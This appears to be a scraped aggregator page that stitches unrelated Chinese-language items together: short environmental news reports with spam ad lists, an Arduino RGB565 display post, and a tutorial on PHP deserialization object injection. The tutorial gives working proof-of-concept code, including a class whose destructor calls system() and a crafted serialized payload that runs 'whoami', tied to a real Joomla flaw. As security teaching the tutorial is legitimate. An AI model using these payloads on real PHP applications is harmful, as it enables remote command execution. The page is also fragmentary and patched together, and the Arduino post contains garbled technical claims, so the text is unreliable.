太陽能光電國有地標租 國產署:2020年再釋7案

摘錄自2019年12月30日中央社報導

財政部國產署表示,將於2020年上半年分兩批,標租七宗國有地,提供民間設置太陽能光電發電設備,面積合計逾11公頃,分別位於嘉義、台中等地。

配合行政院政策目標,預計在2020年將整體太陽光電裝置量提升至6.5GW(十億瓦),國產署盤點可用國有地,並以多元方式釋出,其中一環為主動提供適當標租標的,供民間業者設置太陽能光電發電設備。

國產署主秘王彩葉指出,國產署2019年首度釋出國有地供太陽光電業者標租,共釋出四宗標地,全部順利標脫,面積合計高達6.7公頃,預計發電量約9.1MW(百萬瓦),分別位於台中后里、台南善化、高雄美濃及嘉義布袋;且每次標租都吸引多家廠商投標,得標底價也一路升高,最高一宗來到「未來售電收入的15.22%」。

王彩葉說,由於業者詢問依舊熱烈,目前已初步盤點七宗國有地,預計在2020年2月及4月分兩批釋出標租,標租底價一樣訂為「未來售電收入的3%」。

王彩葉表示,其中有兩宗標地位於嘉義大林鎮大埔美段,面積分別為3.5公頃及2公頃,此外,台中市大安區、新竹縣湖口鄉竹九段、苗栗縣竹南鎮新崎頂段、雲林縣古坑鄉水碓東段、高雄市鳳山區建軍段,也各有1宗標地,面積約0.2公頃至1.4公頃不等。

王彩葉說,如果2020年上半年標租情形熱烈,下半年將再盤整國有地釋出標租。同時,除標租外,也積極以委託改良利用、申請開發及委託經營方式,釋出國有地供業者設置太陽能光電設備,合計已有18件成功案件,面積高達629.67公頃,預計發電量約431MW(百萬瓦)。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※示波器探測執行效能最佳化的8大秘訣

※選用哪種桶裝水,外宿露營超方便?

※(全省)堆高機租賃保養一覽表

※DIY自行施工建築隔熱紙,簡易教學大公開 !

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

縣府農業處今天發布新聞稿表示,南部地區很多民眾幾乎都在野外看過綠鬣蜥

縣府農業處今天發布新聞稿表示,南部地區很多民眾幾乎都在野外看過綠鬣蜥,牠的幼體顏色翠綠賣相討喜,原本是由業者引進當作寵物販售,不過隨體型增長外觀也逐漸改變,成體外觀酷似「酷斯拉」,市場價格快速下跌,便遭民眾及業者大量棄養,造成野外族群迅速擴散,並啃食農作物,嚴重影響農民生計及危害本土生態環境。

為了抑制綠鬣蜥野外族群持續擴散,屏東縣政府自民國102年起啟動執行防治外來侵種計畫,及補助屏東縣野鳥學會進行捕捉及族群調查,並以民眾通報及河川、溪流附近區域為主要移除地點,防止綠鬣蜥繼續擴散危害。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

先租杯子再喝咖啡 舊金山帶頭吹環保風

摘錄自2019年12月31日中央社報導

舊金山灣區吹起咖啡與餐飲環保新風潮,咖啡館摒棄紙杯,未攜帶隨行杯消費者得付押金租杯子;2020年起巴羅艾托(Palo Alto)的餐廳,全面禁用塑膠餐具、吸管,甚至杯蓋。

舊金山起家的藍瓶咖啡(Blue Bottle Coffee)明年元旦起,將試行不提供紙杯的環保策略。沒有攜帶隨行杯的客人,要先墊新台幣90元(約美金3元)的押金租杯子,消費者喝完咖啡後,可自由選擇還杯退款,或保留杯子。

藍瓶咖啡執行長米漢(Bryan Meehan)在致消費者的一封信提到,一年製造1200萬個紙杯垃圾,現行裝熱飲的紙杯,仍含有防漏的塑膠塗裝,很難回收;儘管知道消費者可能抗拒而影響業績,但希望藉此帶動全美國零紙杯的咖啡文化。

而位在舊金山南灣的巴羅艾托致力於成為第一個無塑膠城市,「零垃圾計畫」的多項作為中,首要改變的是對塑膠吸管與其他塑膠製餐盒的限制令。巴羅艾托市政府要求2020年元旦起,城市裡頭的餐廳都不能再用塑膠吸管、餐具和杯子,甚至包括杯蓋。

位在巴羅艾托的餐廳已紛紛改用可生物分解的吸管、可回收的杯蓋,部分餐廳和超市熟食部則表明不提供吸管。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※噴霧洗滌塔實際應用案例分享

※各種攤販小吃設備,沙威瑪機,自動旋轉烤玉米機,側火烤爐應有盡有!

※想知道CNC 自動車床與CNC車床有何區別??

※示波器鮮為人知的使用技巧?

※客製專屬滑鼠墊、可愛造型L夾、L型資料夾、透明證件套、手提袋,專業印刷設計廠商!  

※使用真空封口機常見問題?

吳金樹指出,獵人出沒狩獵,除了影響生態環境,更擔心成員進行夜間生態調查時

吳金樹指出,獵人出沒狩獵,除了影響生態環境,更擔心成員進行夜間生態調查時,會遭到誤射。但除了苗26線的山貓森林公開地點,曾遭獵人入侵的其它區域,基於友善地方關係,報不報警成了兩難課題。

從2014年集資買下第一筆土地,開啟了山貓森林環境保育的第一步,這些年來,獵人的腳步沒停止過,這群生態保育人士最後選擇不報警,但透過公開相關影像,提醒獵人們不要再闖入,未來也計劃設置圍籬,架設生態廊道,讓石虎和山貓森林的動物,能安全的避過苗26線的路殺,也避免獵人的闖入。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※使用真空封口機常見問題?

※高價位跟低價位的示波器又有何差異?

※各大百貨每波促銷贈品活動,限量知名LOGOL型資料夾,獨家販售中!!

※哪裡有合版印刷優惠,尋找L夾客製化印刷廠商?

※如何正確使用開飲機?

※洗滌塔運作原理介紹

台水公司編列2年20億 汰換新北老舊水管

摘錄自2019年12月31日中央社報導

台灣自來水公司31日表示,編列兩年新台幣20億元,汰換新北市15公里的老舊自來水管。

台水31日在新北市道路安全會報簡報自來水管線汰舊更新資料,報告中指出,增加編列預算為兩年20億元,預計2020年、2021年更新板橋區、新莊區、三峽區、樹林區、瑞芳區共約15公里大口徑的老舊自來水管。

侯友宜指示工務局列出汰換自來水管改善時程表。同時,希望台水全力衝刺,儘速完成汰換並更新30年以上的老舊自來水管。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※示波器探測執行效能最佳化的8大秘訣

※選用哪種桶裝水,外宿露營超方便?

※(全省)堆高機租賃保養一覽表

※DIY自行施工建築隔熱紙,簡易教學大公開 !

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

PHP字符逃逸導致的對象注入

1.漏洞產生原因:

序列化的字符串在經過過濾函數不正確的處理而導致對象注入,目前看到都是因為過濾函數放在了serialize函數之後,要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題,即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言,也能夠正常反序列化,說明php在反序列化的時候只要求一個反序列化字符串塊合法即可,當然得是第一個字符串塊

以以上代碼為例,如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性,使其可以逃逸出更多可用的字符串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化后就會得到我們想要的結果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入一個x可以逃逸出一個字符的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功,反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那麼s對應的字符串變少以後將會吞掉其他屬性的字符,那麼如果我們精心算好吞掉的字符長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入對象,從而反序列化其他類

比如如上所示,此時我們要注入的對象為evil,此時username和password的值我們可控,那麼我們可以在username中注入\0,來吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段,並且長度肯定是>=10的,因此s肯定是兩位數,因此這裏為22+1=23位字符

因為是6->3,因此每次添加一組\0\0\0能多吞掉3個字符,因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符,為了不讓其吞掉payload,我們可以填充1位字符A,即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的對象,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的對象,如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符,從而可以導致吞掉後面的普通用戶的username字段,而在username字段可以放上我們想要偽造的username,從而達到偽造session的目的

 參考:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

※網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

Arduino驅動ILI9341彩屏(一)——顏色問題

 

最近在淘寶的店鋪上淘到了一塊ILI9341的彩色液晶屏,打算研究一下如何使用。

淘寶店鋪購買屏幕之後有附源代碼可供下載,代碼質量慘不忍睹,各種縮進不規範就不說了,先拿來試一下吧。

這是淘寶店鋪代碼的核心部分:

void setup()
{
  Lcd_Init();
 //LCD_Clear(0xf800);
}

void loop()
{  
   LCD_Clear(0xf800);
   LCD_Clear(0x07E0);
   LCD_Clear(0x001F);
  /*   
  for(int i=0;i<1000;i++)
  {
    Rect(random(300),random(300),random(300),random(300),random(65535)); // rectangle at x, y, with, hight, color
  }*/
  
//  LCD_Clear(0xf800);
}

代碼裏面的setup()和loop()是arduino特有的主函數,和普通C程序的main()函數一樣。

setup()函數在開機時只運行一次,運行完之後就開始循環運行loop()函數。

程序先在setup()函數里做了一下初始化操作Lcd_Init(),接着開始連續用不同顏色清屏。

這裏的LCD_Clear()就是清屏函數了,原型如下:

void LCD_Clear(unsigned int j)                   
{    
  unsigned int i,m;
 Address_set(0,0,240,320);
  //Lcd_Write_Com(0x02c); //write_memory_start
  //digitalWrite(LCD_RS,HIGH);
  digitalWrite(LCD_CS,LOW);


  for(i=0;i<240;i++)
    for(m=0;m<320;m++)
    {
      Lcd_Write_Data(j>>8);
      Lcd_Write_Data(j);

    }
  digitalWrite(LCD_CS,HIGH);   
}

縮進不規範就不吐槽了(;へ:),連變量名都起得亂七八糟,簡直慘不忍睹。稍微重寫了一下函數,長這樣:

void LCD_Clear(unsigned int color){
  Address_set(0,0,240,320);
  digitalWrite(LCD_CS,LOW);
  for(int i=0;i<240;i++){
    for(int m=0;m<320;m++){
      Lcd_Write_Data(color>>8);
      Lcd_Write_Data(color);
    }
  }
  digitalWrite(LCD_CS,HIGH);
}

這個函數先使用Address_set()設置了刷新區域,然後把LCD_CS針腳電壓拉低,之後循環寫入color。

color分兩次寫入,一次寫入高八位(16位整形前面8個bit),一次寫入低八位。

看上去好像沒什麼問題,但loop()函數中LCD_Clear()卻是直接用十六進制寫入的。

寫一個RGB()函數把RGB顏色轉換成十六進制,不是更人性化嗎?

讀了一遍源代碼,結果真的找到了店家的RGB函數:

int RGB(int r,int g,int b)
{return r << 16 | g << 8 | b;
}

還是不規範的縮進(╯︵╰)。但有總比沒有好,輸出紅色試一下:

void setup()
{
  Lcd_Init();
  LCD_Clear(RGB(255,0,0));
}

void loop()
{  
   //nothing
}

出故障了。

 

 

 

Arduino重啟后,屏幕輸出了黑色!再試着排除一下故障,把RGB(255,0,0)改成RGB(0,255,0),輸出綠色試試:

 

 

 

 

結果輸出了橙色!

之後我又反覆嘗試了,沒有一次輸出正確的顏色。莫非是這個RGB()函數有問題,淘寶店鋪才用十六進制数字?

再仔細推導了一下:return r << 16 | g << 8 | b;把紅色左移16位,綠色左移8位,藍色不動,所以合成的二進制應該是這樣的:

RRRRRRRRGGGGGGGGBBBBBBBB

R代表紅色位,G代表綠色位,B代表藍色位,每種顏色8位,總共24位。計算了一下可能性:

 

 

 總共1677萬種可能,也就是1677萬種顏色,這就是普通電腦的真彩顏色。但LCD_Clear()函數是這麼寫的:

Lcd_Write_Data(color>>8);
Lcd_Write_Data(color);

總的只能寫入十六個bit,也就是16位,這和24位對不上號啊?

再回頭看了一下,店鋪代碼的setup()函數中有這樣一行白色清屏指令:

//LCD_Clear(0xf800);

0xf800換算成十進制,是63488,有沒有感覺很接近一個數?

沒錯,就是65535,單個16位無符號整數的最大儲存範圍。

16位整型變量,顧名思義就是用16個0和1組成的變量。可以儲存的整數範圍是-32768 ~ 32767,32768 + 32767剛好等於65535,換算到二進制,就是1111111111111111,16個1。

 

這時,真相出現了——這台機器所採用的,是16位顏色,也被成為RGB565顏色模式。

 

早期的16位計算機由於架構的設計,一次只能處理一個16位二進制數。而圖形显示對速度要求特別高,所以一個像素必須要用一個16進制數來表示,也就是16位顏色。

如果用採用24位顏色,就需要兩個16進制數,也就是2Bytes,速度就慢了一半。

而每個像素都是使用紅黃藍三基色來显示的,所以一個16進制數必須分3份,來分別表示紅、黃、藍的數據。

這就出現了一個問題:

16 / 3 = 5.33333

紅黃藍三種顏色平均佔用5.33333個bit。

可bit是計算機存儲的基本單位,要麼是1,要麼是0,不能再分割。必須要有一種顏色多用一個位,才能充分單個利用16進制整數。

人體的綠色視錐細胞比較敏感,正好,那綠色就用6位,紅色藍色就用5位吧。

這就是著名的RGB565模式,總共能存儲65535種顏色。

早期的遊戲都採用這種模式,所以顏色不夠豐富,很有特色:

 

 

 

 這塊ILI9341显示屏模塊(注意不是ILI9341芯片本身)也剛好只有16根數據引腳,所以就採用了這種RGB565的顏色模式。

找到了問題,那就改一下程序吧:

int RGB(int r,int g,int b)
{
  return r << 11 | g << 5 | b;
}

光改RGB()函數還不夠,現在使用了RGB565模式,所以綠色範圍是從0-63,紅色、藍色的範圍是0-31。

所以還得改setup裏面的清屏函數:

void setup()
{
  Lcd_Init();
  LCD_Clear(RGB(0,63,0));
}

重新下載了程序,屏幕成功显示,輸出了正確的綠色!⁄(⁄⁄•⁄ω⁄•⁄⁄)⁄

 

 

 那麼問題來了,開頭店家給的LCD_Clear(0xf800)這條清屏指令,是怎麼來的?畢竟他連RGB565都不知道呢!

這是我提供的一種可能性:

“0xf600試一下?”

“不行,太灰了!”

“那0xf700呢?”

“還是不行!老闆,我們都試了一下午了,肯定是屏幕壞了!”

“加油,還差一點點了,肯定可以的!”

“0xf800好像還行,但是還是有點灰!”

“沒關係,反正買家能點亮屏幕就行,其他的我們不管!”

“……”

所以這家淘寶店鋪根本不知道自己在買什麼。ヽ( ̄▽ ̄)ノ

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

長沙動物園大象踩死馴養員 專家疑因發情失控

摘錄自2019年12月31日聯合新聞網報導

根據《新京報》報導,中國湖南長沙市生態動物園日前發生一件大象踩死訓養員的悲劇。

一頭56歲的大象「艾A」,由蔔姓訓養員引領進入馴養場中時,突然失控抓狂。先是用象腳攻擊訓養員,再將他推倒、不斷踩踏在訓養員身上。雖然一旁有5名其他訓養員試圖用推車趕跑大象,該頭大象卻不為所動,仍使勁攻擊訓養員,造成他不幸身亡。

慘不忍睹的情景,被柵欄外圍觀的遊客記錄下來。園方表示,該頭失控的大象約2噸重,平常表現溫馴,來到長沙已逾10年。

動物專家初步認為,這樁慘事應是大象發情所致,目前該頭大象已由園方隔離安撫,而當地警方也已著手展開調查。希望此生態動物園能積極善後、並防止有類似的情況再度發生。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※示波器探測執行效能最佳化的8大秘訣

※專業客製化禮物、贈品設計,辦公用品常見【L夾】搖身一變大受好評!!

※冷熱飲水機、桌上型飲水機、辦公室飲水機、直立式飲水機,選購技巧大公開!!

※哪一些是橡膠加工製品?又區分什麼用途

※如何知道自已的電腦cpu支不支持AVX指令集?

※票選推薦煮婦最愛手壓封口機,省荷包不犧牲品質

2020湖南沅江啟動10年禁捕 目標洞庭湖區「水中無網具」

摘錄自2020年1月1日中新網益陽報導

據報,湖南省沅江市所轄外湖水域,從今(2020)年1月1日起全面禁止天然漁業資源的生產性捕撈,時間暫定10年。

沅江地處湖南省東北部、洞庭湖濱,以沅水歸宿之地而得名,境內彙集湘、資、沅、澧四水,坐擁東洞庭、南洞庭、西洞庭,享有「洞庭明珠」的美譽。這一歷史性時刻,是沅江落地落實長江流域重點水域實施禁捕退捕的具體踐行。

沅江市畜牧水產事物中心主任楊建軍表示,沅江將全力實現禁捕水域「湖上無漁船、水中無網具、市場無湖魚」的工作目標。

目前,沅江市禁捕退捕工作通過逐戶、逐船、逐證精准調查核實,已完成漁民身份,全市有專業漁民4,314戶10,540人4,959艘船,確定南嘴、漉湖、南大、五門閘等六處漁船集中拆解點。全市已有1,700多艘漁船完成評估,300多艘已拆解到位,預計農曆年前可完成漁船拆解、漁具銷毀任務。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※噴霧洗滌塔實際應用案例分享

※各種攤販小吃設備,沙威瑪機,自動旋轉烤玉米機,側火烤爐應有盡有!

※想知道CNC 自動車床與CNC車床有何區別??

※示波器鮮為人知的使用技巧?

※客製專屬滑鼠墊、可愛造型L夾、L型資料夾、透明證件套、手提袋,專業印刷設計廠商!  

※使用真空封口機常見問題?

今年首爆禽流感 雲林撲殺2.3萬隻雞

摘錄自2020年1月2日自由時報雲林縣報導

2020年第一天雲林就傳出禽流感,斗南一處養雞場確診感染高病原性禽流感(H5N2),場內2萬3千多隻紅羽土雞全數撲殺,雲林縣動植物防疫所呼籲,日夜溫差大,養禽業者要落實相關防疫工作。

雲林縣動植物防疫所指出,斗南這處養雞場飼養這批紅羽土雞已70多天,去年12月26日飼主發現有一百多隻異常死亡,27、28日也有200多隻死亡,28日主動通知防疫所,經採樣送驗確診為H5N2。

防疫所表示,去年全縣確診禽流感養禽場有53場,總計撲殺28萬9千多隻家禽,相較前年2018年62場、44萬6千多隻減少許多,去年確診以養雞場最多有29場,其次養鴨場18場。

防疫所強調,確診場數減少主要是業者的自我防疫觀念、技術提升,加上全國防疫策略有助於疫情的防堵,但仍提醒業者,冬季為禽流感高峰期,養禽場要落實人車門禁管制、進出消毒,發現有禽隻異常死亡要主動通報、及早處置,以防範疫情擴散。

本站聲明:網站內容來源於https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※使用真空封口機常見問題?

※高價位跟低價位的示波器又有何差異?

※各大百貨每波促銷贈品活動,限量知名LOGOL型資料夾,獨家販售中!!

※哪裡有合版印刷優惠,尋找L夾客製化印刷廠商?

※如何正確使用開飲機?

※洗滌塔運作原理介紹